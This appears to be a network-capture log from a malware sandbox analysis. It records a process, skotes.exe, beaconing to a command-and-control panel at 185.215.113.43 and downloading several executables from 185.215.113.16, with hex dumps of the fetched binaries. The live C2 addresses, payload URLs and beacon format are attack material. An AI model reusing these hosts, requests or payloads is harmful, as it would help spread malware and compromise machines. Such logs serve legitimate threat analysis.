Oct 29, 2024 20:36:08.723094940 CET	648	IN	Data Raw: f8 ab ae 97 24 9f 37 96 58 8e b9 54 dc c9 e3 ae dc 60 be 6a 56 b8 f6 92 f7 d7 46 de ed 89 ee 49 3d dd aa 88 5c 2f ad 3f dc 6b af 76 9d 7f 84 ce f6 5f 42 76 fc 60 55 b4 f5 db 89 b6 0c cf 66 6a f2 b8 02 94 f7 5a 46 7e ed 89 92 49 d9 d9 1a f3 ff d7 Data Ascii: $7XT`jVFI=\/?kv_Bv`UfjZF~I?xOml@e?O`?iC0aOC`!]`.^\Cl"o&\|bp7hLj[\eO7kNDj1Nt``Rr?a?XB =iDK~7 .Lc&?{+{Eo?OB
Oct 29, 2024 20:36:08.723114967 CET	1236	IN	Data Raw: f0 57 b4 3f f5 d7 2f fe 9f a7 cf a4 84 89 37 e6 e5 06 3b 3a 58 fb c7 36 ff d7 37 49 7a d1 36 93 51 d7 16 c6 65 73 47 b3 ed d0 ce 95 ec d7 3e 52 5d 83 60 3f 48 80 72 8e 83 11 77 3f 0f 89 41 81 68 87 69 b0 4c 60 2e b2 72 6a b2 36 1f 6b 23 52 f4 60 Data Ascii: W?/7;:X67Iz6QesG>R]`?Hrw?AhiL`.rj6k#R``pVgR`/6WP?\6a2h8VOKD`"qV?es73$7:zVmNr 7GtXP'nb8hjMY`I^\EX&Tg#dV"76 u`.J@g`
Oct 29, 2024 20:36:08.723136902 CET	1236	IN	Data Raw: b4 60 17 2f a3 d5 04 91 6d 54 d6 48 10 bc 4e af 8a 93 37 be 6f 1c 33 86 ed 68 8a 37 71 11 53 a3 e6 4a 2e b6 ed 68 9a 37 58 0b df 92 06 c7 2f aa dc b2 ac 71 48 79 45 ae 58 60 ba 48 26 7f 4e 96 5d 75 62 07 dd 60 fe 6a 0d b9 f2 aa 06 5a a0 9d 11 5a Data Ascii: `/mTHN7o3h7qSJ.h7X/qHyEX`H&N]ub`jZZp`Q.K`.\NkF7QL`j?/0;/$?8*.oUhJX~7nqTy~X`M\|)`d`]1T`.\m_'8606[h78/]Bu`
Oct 29, 2024 20:36:08.728701115 CET	1236	IN	Data Raw: 6c 60 de aa 1b 26 43 16 e8 2b 6c 4a dc 60 e4 08 2d b5 cf bc 21 4f 6c af 81 93 37 3a 17 b6 2f 2e 22 68 2e 37 68 10 8f d7 45 5f 60 3f f8 58 99 42 c8 da 7c 3a 04 60 3f 5e e5 a9 e7 f2 85 1c 5f 68 ed 8f 2f 6f f0 37 a3 6e f8 a0 5e 3f 4c cb 65 56 f9 eb Data Ascii: l`&C+lJ`-!Ol7:/."h.7hE_`?XB\|:`?^_h/o7n^?LeVt7^:\2'xd1)GwMnzVpvpU/H1)6A/=VHxR+sFh,k>)-uC=z\5MG0)4ii)'&V?*"Y>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49982	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:11.884630919 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 36 30 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000460031&unit=246122658369
Oct 29, 2024 20:36:12.817051888 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49983	185.215.113.16	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:13.012140036 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 20:36:13.926034927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:13 GMT Content-Type: application/octet-stream Content-Length: 2930688 Last-Modified: Tue, 29 Oct 2024 18:58:21 GMT Connection: keep-alive ETag: "6721304d-2cb800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 48 f5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@/H,@Th@ ~@.rsrc@@.idata @sqhbpttq*)@eaurdqdn/,@.taggant0/",@
Oct 29, 2024 20:36:13.926218033 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:13.926228046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:13.926239967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:13.926251888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:13.926322937 CET	1236	IN	Data Raw: 23 f6 da b9 54 d9 ce 56 9c a6 c6 63 2e a2 70 af 3c 00 e2 7f 09 d1 98 5c 99 d1 60 ff 14 dc 3e 82 a4 d0 2a 4a ad ee b6 c6 28 e5 7e 93 9a d8 89 27 1e d2 74 f3 20 48 20 af 34 31 b1 6e a8 c8 c6 3f b6 c5 16 c5 64 99 55 33 ad 51 ef 5b db 11 e7 fc 24 ae Data Ascii: #TVc.p<\`>J(~'t H 41n?dU3Q[$YQL_<tf^mROD<S:<`Z&s4]xp:6R (ViyTj\TMGFL~~ R>_$@ZR!.MdbFLm<R3AYX[w^W?Juxe!
Oct 29, 2024 20:36:13.926335096 CET	848	IN	Data Raw: b8 26 5d 42 85 c2 14 bb 1f f1 1f 89 61 d9 21 d2 66 1e e0 f3 30 44 47 93 57 19 81 33 dc e1 a6 8e eb 00 12 c2 57 5d 16 6b 45 01 6f 1b af 5e 7a 88 ba 02 9a 6f b8 c6 5a fa 45 0e 78 1d be c8 98 47 3b 41 40 63 af bd 4a c3 95 25 03 66 55 01 5f 88 35 5d Data Ascii: &]Ba!f0DGW3W]kEo^zoZExG;A@cJ%fU_5]x6bV9,S=wGEu+oXz>xT+Z\J&[E'f]$j Y_pD-Atw<isMar\|4LX-P.&A<[d5\B};U
Oct 29, 2024 20:36:13.926383018 CET	1236	IN	Data Raw: 0d dd 29 fe 6a dd 58 8f f6 11 e3 be 19 68 b9 9d a4 bd 37 24 ca 51 e0 95 18 c8 e9 81 9c 50 e9 3c dd 42 23 4f 38 7f 14 f6 a8 10 33 ac 23 ec 4c c1 42 86 99 0a 4f d7 36 80 52 e8 20 1c 75 6c 18 83 a4 07 3b b4 e5 d9 4e bb 09 06 7a b1 2c 7a ef 4d e2 90 Data Ascii: )jXh7$QP<B#O83#LBO6R ul;Nz,zM\|tXjf%AW`Cx_${/{$d*9,s^WZ%i@Kua,Z+(fR\B^9`Y-eu#%'>"4Ui+w1Op$>M}]C
Oct 29, 2024 20:36:13.926393986 CET	1236	IN	Data Raw: 6a 48 1b 54 45 2a e2 ed 90 cd 62 90 e3 e6 d0 81 c6 ca 08 c1 bf c9 6e 85 c4 d7 2f 04 8d a1 d7 57 c9 f0 f3 d0 1a 2d 38 df 62 62 d3 d4 29 5f 83 69 18 88 c1 ee 41 d4 af 13 a7 11 06 86 8a 3e 6d e9 dc b9 84 7f 0a c4 d9 b7 2b c5 47 10 27 59 a1 0f 0a f9 Data Ascii: jHTEbn/W-8bb)_iA>m+G'Ys@"O&lD,;2hr{gqH .-0]:NM/_bzaz\|'Y2M\+y6KS]ZaW*yWZm{9ht9x
Oct 29, 2024 20:36:13.926462889 CET	1236	IN	Data Raw: 5a 1c 3e b4 0e 6e 36 57 40 9a 02 af a1 84 ce 48 18 02 a0 1b 1b 9a e0 ae 17 8a 85 49 30 fe 06 f5 0a 78 2c a9 0c 0a 53 74 d4 d7 26 70 df 4e 2e 65 8b 6a 1e a8 6d cf 7f 3b fc d1 13 a9 f4 dd 11 68 83 84 c7 03 7e 2f 14 d2 e2 ed 10 c1 e5 9a e3 df 17 c1 Data Ascii: Z>n6W@HI0x,St&pN.ejm;h~/ %?w$;aw>swjyf X!?1M^yY_oUg;Gqun^a.]{Xt[`0!=wQ\TJ]2(@qc!?n7[l)C(q$Uo
Oct 29, 2024 20:36:13.931504965 CET	1236	IN	Data Raw: d2 c8 60 10 7b b1 87 05 25 d9 ad 09 03 76 92 83 35 22 58 33 0a 8a ee 3f a8 9e 99 45 c7 57 85 87 10 87 45 20 2b b1 ce 2e 15 31 3d 15 65 c3 61 46 47 86 1f 7a 07 f6 2c 90 e5 44 7f 74 74 2b 80 0f d5 dc bb 5b 2d e2 59 95 77 2f b8 d2 1c 48 da be 2c 55 Data Ascii: `{%v5"X3?EWE +.1=eaFGz,Dtt+[-Yw/H,U/HyLq7q=w }VDN3}4f't}Wc'.)+ep6orr1:8go8Gq]ez\>*FBzDX$}n7^VM%)kW7n7 ]%Y\|P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49984	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:24.198704958 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 36 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000465031&unit=246122658369
Oct 29, 2024 20:36:25.104341984 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49986	185.215.113.16	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:25.113898993 CET	55	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 20:36:26.051999092 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:25 GMT Content-Type: application/octet-stream Content-Length: 1905152 Last-Modified: Tue, 29 Oct 2024 18:27:01 GMT Connection: keep-alive ETag: "672128f5-1d1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@fK@L9@WkPKK @.rsrc@.idata @ +@fzmtnikz1@dagikpkjK@.taggant0K"@
Oct 29, 2024 20:36:26.052037001 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:26.052073956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:26.052117109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:26.052128077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:26.052196980 CET	636	IN	Data Raw: e3 3b 07 df 24 0f 92 a1 f3 b7 43 1e 94 4b ec 6e f1 cc ef 3c f7 fe d1 d7 f2 70 fc 8e 6e 2c 4e 26 53 e3 6d de 87 e1 04 6b eb 1f 40 95 90 48 7c 32 6f 0b e5 36 34 8b 7d dc 70 f1 43 2a e2 2b d8 21 14 ff 1d 76 53 d4 09 21 e7 e0 f3 cb e3 bf 37 79 33 c0 Data Ascii: ;$CKn<pn,N&Smk@H\|2o64}pC*+!vS!7y3:v}kO@5KopV"t=cZ<7MfB4}pjLNjKp+@Lv#6\|w:G`j?no,<sy/05X<W!Kn!"
Oct 29, 2024 20:36:26.052220106 CET	1236	IN	Data Raw: 1e fe 0e 1c fc 67 40 3f 06 88 6d 14 f3 c7 91 d4 63 30 00 ce cd 87 e2 09 1f ee 2d ff f3 cb c1 39 94 8b 9d dc d0 f9 6d fe fb 45 04 32 05 4b 42 1c f2 29 f0 a6 53 2d e4 7c f2 a3 d9 22 54 ee dd e3 e1 0c f6 41 92 4f 4f de e3 19 f2 0b e2 7f 84 5f 51 9d Data Ascii: g@?mc0-9mE2KB)S-\|"TAOO_Q;yL9s:/B_SkPyBCjzqC$!NCy/nB?o"B6TcK:kobwPJXrO.I\|<Y0{
Oct 29, 2024 20:36:26.052253008 CET	1236	IN	Data Raw: 01 0f 24 cc 29 07 4c 32 c3 46 9d 7a 33 14 42 0a e5 7f b6 9b 2c 43 16 c3 34 49 db 43 41 49 bd 77 b6 38 52 2f 79 fb 3f 66 48 4c 07 1a 0f 0b 38 7f e2 8d 05 ba 20 8b b5 51 40 a5 ee cf 3c 17 78 77 e4 56 07 6d b3 6b 4d ce 92 df c5 11 6f fa 25 58 25 78 Data Ascii: $)L2Fz3B,C4ICAIw8R/y?fHL8 Q@<xwVmkMo%X%xl.Ur5f3~21c>3`j)U$g3$5k"[m9tjO,!rw;_t60\|9"
Oct 29, 2024 20:36:26.052264929 CET	1236	IN	Data Raw: 8f 5f 7b 0e 34 3f 3e 5c 79 4c 24 b1 e8 11 35 1c 14 c8 e6 bb 51 1f 57 ff 2d b0 0c d0 18 34 5b fe 75 4c 0e fc 5e 89 f3 7d 5f 1b fa c2 30 ba cd 74 49 09 41 6a 4f 9e e9 ce d1 45 9c c6 ce b7 f8 e2 e7 e2 80 3c ee 85 72 7a 30 f8 46 a7 53 5c c4 b5 51 c5 Data Ascii: _{4?>\yL$5QW-4[uL^}_0tIAjOE<rz0FS\Q;EKci~[@kH}1jBhm6QQ&>8-ss}k_)e^%a=De(<)fdu4 }PRFz[?+Eo"#.,Aey&'vLQ}
Oct 29, 2024 20:36:26.052336931 CET	1236	IN	Data Raw: 31 ef 01 7c 52 42 4d 08 0b 8b 52 d5 67 1c c1 ef 3b 61 c8 96 37 2b 80 30 4d a5 04 2c e4 94 f7 67 37 fd ad 4e 16 ab 02 7f ab 50 e0 3f f4 c5 e6 4e 2d da f7 b2 2b 8a fd dc e4 c7 34 31 4a 57 37 21 6d 93 ec 06 df 0f 5e f4 11 0b c4 a9 b2 46 56 b6 27 31 Data Ascii: 1\|RBMRg;a7+0M,g7NP?N-+41JW7!m^FV'1+.Qa64/7J_cw(ch<:41x\|@]g}!G~j\wtcEra5et]Eo:D~d>16g$P
Oct 29, 2024 20:36:26.058598042 CET	1236	IN	Data Raw: f3 fb 79 00 0f ee e5 79 24 ff 9f c5 38 65 5f 26 0c f0 b3 93 f9 81 f9 86 42 6e b2 8f fe 11 cb 70 24 10 86 4f 6a ca 1e 03 0c 8e 2f 2b 6f df e8 88 3d 4f 50 be c7 47 05 e4 61 80 d8 05 59 a3 c1 a1 23 46 ce 4e 2e aa ae 84 ef fd e7 ae 01 c8 46 d6 7d 6c Data Ascii: yy$8e_&Bnp$Oj/+o=OPGaY#FN.F}l#+Jr<tBct72q;P"EC6JC8=KwlhTLNL{$*JeCG$iIAPy)s^z4uB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49989	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:33.414602041 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001698001&unit=246122658369
Oct 29, 2024 20:36:34.317291975 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49991	185.215.113.16	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:34.341969013 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 20:36:35.260052919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:35 GMT Content-Type: application/octet-stream Content-Length: 2850304 Last-Modified: Tue, 29 Oct 2024 18:26:38 GMT Connection: keep-alive ETag: "672128de-2b7e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,w,`Ui` @ @.rsrc`2@.idata 8@sgyfneub ++:@wyedghxm +X+@.taggant@+"\+@
Oct 29, 2024 20:36:35.260113001 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:35.260215044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:35.260257006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:35.260293007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:35.260358095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:35.260392904 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:35.260426998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:35.260462046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: gVy455~ xB&vTtaJvY7,T$9`Tdj!5$+:P(apESi\Bt0d!,!DPA=}B{D2g&ltk
Oct 29, 2024 20:36:35.260495901 CET	1236	IN	Data Raw: 08 54 9b 46 39 28 e5 2e 88 cd 46 36 cd a7 10 4e ce 20 a4 fe 7f 1d ce 24 78 48 8a e4 7d f6 7b 20 7c cb b0 9d a6 05 b3 38 5f fd 13 78 96 0c d3 8a f4 4e b3 9e 93 2c b0 2c 2f 45 89 85 f2 35 d5 a6 99 12 d9 24 84 2a 24 7c be f9 97 d4 75 bb 5e 62 0e 70 Data Ascii: TF9(.F6N $xH}{ \|8_xN,,/E5$$\|u^bpO8[t0&:lDy!8z,^&jl=".9m1q(l%]%HZ%vw qYH:{iyg>iJ{? pvo&zD]#}%F~Ps%Yu_jw7aI1~t>$Ps2A<LK
Oct 29, 2024 20:36:35.265652895 CET	1236	IN	Data Raw: aa 46 c1 d0 57 6d d0 7e 9a f7 ce 13 fa a0 b6 80 7e 7f a0 6e 35 85 b8 0b 31 88 6a 99 de 55 de 62 2f cc c4 57 7b 44 4e 42 b8 fd 6d 6e 56 5c 29 39 70 75 d8 af 53 7b fe 38 72 75 d0 1f fc b3 e9 78 70 3f c8 85 80 54 04 26 23 d6 3a 82 0e 88 97 26 48 d3 Data Ascii: FWm~~n51jUb/W{DNBmnV\)9puS{8ruxp?T&#:&H#MB%gz<\|HA9V1FaS1T)0.>>}XxT8Ju$Bv1\p:,&E YSf\|yN6jB<Hc\V_(5)2`Eo(K6>]n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49993	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:39.059531927 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 37 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001735001&unit=246122658369
